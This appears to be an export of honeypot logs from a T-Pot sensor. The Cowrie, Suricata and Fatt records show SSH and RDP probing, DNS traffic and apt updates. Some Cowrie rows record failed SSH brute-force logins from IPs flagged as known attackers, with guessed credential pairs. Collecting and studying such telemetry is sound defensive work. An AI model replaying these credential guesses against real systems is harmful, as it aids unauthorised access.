30900	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:39:54.97664+03	2021-09-20 14:45:03.776141+03	{"_id": "BwYBA3wBvYTbRNuEZ0As", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 6743, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1935896161740544, "@version": "1", "in_iface": "enp5s0", "src_port": 32805, "dest_port": 53, "timestamp": "2021-09-20T11:39:54.976640Z", "@timestamp": "2021-09-20T11:39:54.976Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30901	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 14:39:58.460673+03	2021-09-20 14:45:03.777141+03	{"_id": "DwYBA3wBvYTbRNuEcUBJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "3f027bdd19f5", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:39:58.460673Z", "@timestamp": "2021-09-20T11:39:58.460Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30902	43.240.6.90	109.199.241.180	Suricata	2021-09-20 14:39:58.77192+03	2021-09-20 14:45:03.779143+03	{"_id": "EQYBA3wBvYTbRNuEckDm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:39:58.144093+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "43.240.6.90", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 378787981046493, "payload": "AAADzAYU9zTUtui5hfUvc81tWnippQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34404, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:39:58.771920Z", "@timestamp": "2021-09-20T11:39:58.771Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......4....../s.mZx.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
30903	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:39:58.461687+03	2021-09-20 14:45:03.780144+03	{"_id": "EwYBA3wBvYTbRNuEc0D7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "43.240.6.90", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34404, "timestamp": "2021-09-20T11:39:58.461687", "@timestamp": "2021-09-20T11:39:58.461Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30904	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 14:40:00.128184+03	2021-09-20 14:45:03.782145+03	{"_id": "FwYBA3wBvYTbRNuEeUAb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.login.failed", "message": "login attempt [hijab/hijab] failed", "session": "3f027bdd19f5", "@version": "1", "password": "hijab", "username": "hijab", "timestamp": "2021-09-20T11:40:00.128184Z", "@timestamp": "2021-09-20T11:40:00.128Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30905	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:40:00.173807+03	2021-09-20 14:45:03.783143+03	{"_id": "GAYBA3wBvYTbRNuEekC4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 48885, "type": "query", "tx_id": 0, "rrname": "_http._tcp.deb.debian.org", "rrtype": "SRV"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 2171556722681583, "@version": "1", "in_iface": "enp5s0", "src_port": 40925, "dest_port": 53, "timestamp": "2021-09-20T11:40:00.173807Z", "@timestamp": "2021-09-20T11:40:00.173Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30908	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:40:00.439397+03	2021-09-20 14:45:03.787145+03	{"_id": "HQYBA3wBvYTbRNuEekC5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 48885, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "_http._tcp.deb.debian.org", "rrtype": "SRV", "answers": [{"ttl": 300, "rrname": "_http._tcp.deb.debian.org", "rrtype": "SRV"}], "grouped": {}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 2171556722681583, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 40925, "timestamp": "2021-09-20T11:40:00.439397Z", "@timestamp": "2021-09-20T11:40:00.439Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30909	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:40:00.511249+03	2021-09-20 14:45:03.788143+03	{"_id": "IQYBA3wBvYTbRNuEe0DM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "199.232.138.132", "@version": "1", "protocol": "http", "src_port": 34354, "dest_port": 80, "fatt_http": {"userAgent": "Debian APT-HTTP/1.3 (1.8.2.3)", "requestURI": "/debian/dists/buster/InRelease", "requestMethod": "GET", "requestFullURI": "http://deb.debian.org/debian/dists/buster/InRelease", "requestVersion": "HTTP/1.1", "clientHeaderHash": "f04437e756450fb5c8740b44ff4a25be", "clientHeaderOrder": "host,cache_control,accept,user_agent"}, "timestamp": "2021-09-20T11:40:00.511249", "@timestamp": "2021-09-20T11:40:00.511Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	http	\N	\N	\N	\N
30910	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:40:00.543371+03	2021-09-20 14:45:03.790142+03	{"_id": "IgYBA3wBvYTbRNuEe0DM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "199.232.138.132", "@version": "1", "protocol": "http", "src_port": 34354, "dest_port": 80, "fatt_http": {"userAgent": "Debian APT-HTTP/1.3 (1.8.2.3)", "requestURI": "/debian/dists/buster-updates/InRelease", "requestMethod": "GET", "requestFullURI": "http://deb.debian.org/debian/dists/buster-updates/InRelease", "requestVersion": "HTTP/1.1", "clientHeaderHash": "f04437e756450fb5c8740b44ff4a25be", "clientHeaderOrder": "host,cache_control,accept,user_agent"}, "timestamp": "2021-09-20T11:40:00.543371", "@timestamp": "2021-09-20T11:40:00.543Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	http	\N	\N	\N	\N
30911	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 14:40:01.445724+03	2021-09-20 14:45:03.791142+03	{"_id": "NQYBA3wBvYTbRNuEfUAE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "3f027bdd19f5", "@version": "1", "duration": 2.9853949546813965, "timestamp": "2021-09-20T11:40:01.445724Z", "@timestamp": "2021-09-20T11:40:01.445Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30912	36.27.214.211	109.199.241.180	Suricata	2021-09-20 14:40:13.310887+03	2021-09-20 14:45:03.792142+03	{"_id": "RAYBA3wBvYTbRNuErUCF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "36.27.214.211", "dest_ip": "192.168.20.116", "flow_id": 1152580027425013, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 35970, "dest_port": 22, "timestamp": "2021-09-20T11:40:13.310887Z", "@timestamp": "2021-09-20T11:40:13.310Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30913	36.27.214.211	109.199.241.180	Fatt	2021-09-20 14:40:13.311289+03	2021-09-20 14:45:03.794142+03	{"_id": "RgYBA3wBvYTbRNuErkCZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "36.27.214.211", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 35970, "dest_port": 22, "timestamp": "2021-09-20T11:40:13.311289", "@timestamp": "2021-09-20T11:40:13.311Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30914	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:40:14.540031+03	2021-09-20 14:45:03.795142+03	{"_id": "SQYBA3wBvYTbRNuEr0DR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.login.failed", "message": "login attempt [rodrigo/123456] failed", "session": "3257f5aebb97", "@version": "1", "password": "123456", "username": "rodrigo", "timestamp": "2021-09-20T11:40:14.540031Z", "@timestamp": "2021-09-20T11:40:14.540Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30915	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:40:14.898189+03	2021-09-20 14:45:03.797142+03	{"_id": "SgYBA3wBvYTbRNuEsUBu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:40:14.559362+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 396416675383554, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 60401, "dest_port": 3389, "timestamp": "2021-09-20T11:40:14.898189Z", "@timestamp": "2021-09-20T11:40:14.898Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30916	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:40:00.400676+03	2021-09-20 14:45:03.798142+03	{"_id": "GgYBA3wBvYTbRNuEekC5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 42034, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "_http._tcp.security.debian.org", "rrtype": "SRV", "answers": [{"ttl": 900, "rrname": "_http._tcp.security.debian.org", "rrtype": "SRV"}], "grouped": {}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1127669216356044, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 48117, "timestamp": "2021-09-20T11:40:00.400676Z", "@timestamp": "2021-09-20T11:40:00.400Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30917	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:40:00.479533+03	2021-09-20 14:45:03.799142+03	{"_id": "GwYBA3wBvYTbRNuEekC5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 49388, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "debian.map.fastlydns.net", "rrtype": "A", "answers": [{"ttl": 30, "rdata": "199.232.138.132", "rrname": "debian.map.fastlydns.net", "rrtype": "A"}], "grouped": {"A": ["199.232.138.132"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 790567970715713, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 51231, "timestamp": "2021-09-20T11:40:00.479533Z", "@timestamp": "2021-09-20T11:40:00.479Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30918	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:40:00.401647+03	2021-09-20 14:45:03.800142+03	{"_id": "HgYBA3wBvYTbRNuEekC7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 4232, "type": "query", "tx_id": 0, "rrname": "debian.map.fastlydns.net", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1648554260046063, "@version": "1", "in_iface": "enp5s0", "src_port": 46288, "dest_port": 53, "timestamp": "2021-09-20T11:40:00.401647Z", "@timestamp": "2021-09-20T11:40:00.401Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
44342	192.168.20.104	109.199.241.180	Suricata	2021-09-20 16:35:21.500608+03	2021-09-20 16:45:01.529564+03	{"_id": "DQZrA3wBvYTbRNuEFacL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.104", "stream": 0, "dest_ip": "224.0.0.252", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:35:21.500608Z", "@timestamp": "2021-09-20T13:35:21.500Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
